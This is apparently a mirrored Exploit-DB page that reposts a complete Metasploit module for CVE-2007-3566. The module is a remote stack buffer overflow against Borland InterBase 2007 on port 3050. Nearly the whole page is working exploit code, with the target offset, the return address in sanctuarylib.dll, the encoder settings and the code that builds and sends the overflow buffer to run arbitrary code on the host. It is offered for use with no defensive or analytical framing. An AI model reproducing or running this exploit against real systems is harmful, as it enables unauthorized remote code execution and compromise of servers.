Borland Interbase – ‘Create-Request’ Remote Buffer Overflow (Metasploit) - 体验盒子

作者： Metasploit

日期： 2010-06-15

类别：

remote

平台：

windows

来源：https://www.exploit-db.com/exploits/16453/

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##

# $Id: borland_interbase.rb 9525 2010-06-15 07:18:08Z jduck $

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = AverageRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})

super(update_info(info,

'Name' => 'Borland Interbase Create-Request Buffer Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in Borland Interbase 2007.

By sending a specially crafted create-request packet, a remote

attacker may be able to execute arbitrary code.

},

'Author' => 'MC',

'Version'=> '$Revision: 9525 $',

'References' =>

[

[ 'CVE', '2007-3566' ],

[ 'OSVDB', '38602' ],

[ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-07-13' ],

],

'DefaultOptions' =>

{

'EXITFUNC' => 'thread',

},

'Payload'=>

{

'Space'=> 850,

'BadChars' => "\x00",

'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",

'EncoderType' => Msf::Encoder::Type::AlphanumUpper,

},

'Platform' => 'win',

'Targets'=>

[

[ 'Windows 2000 English All / Borland InterBase 2007', { 'Offset' => 1266, 'Ret' => 0x1002e556 } ], # sanctuarylib.dll

],

'Privileged' => true,

'DefaultTarget'=> 0,

'DisclosureDate' => 'Jul 24 2007'))

register_options([Opt::RPORT(3050)], self.class)

end

def exploit

connect

# Build the exploit buffer.... It's a biggie!

sploit ="\x00\x00\x00\x14" + "\x00\x00\x00\x13" + rand_text_alpha_upper(target['Offset'])

sploit << payload.encoded + Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2)

sploit << [target.ret].pack('V') + [0xe8, -850].pack('CV') + rand_text_alpha_upper(40000)

print_status("Trying target #{target.name}...")

sock.put(sploit)

handler

disconnect

end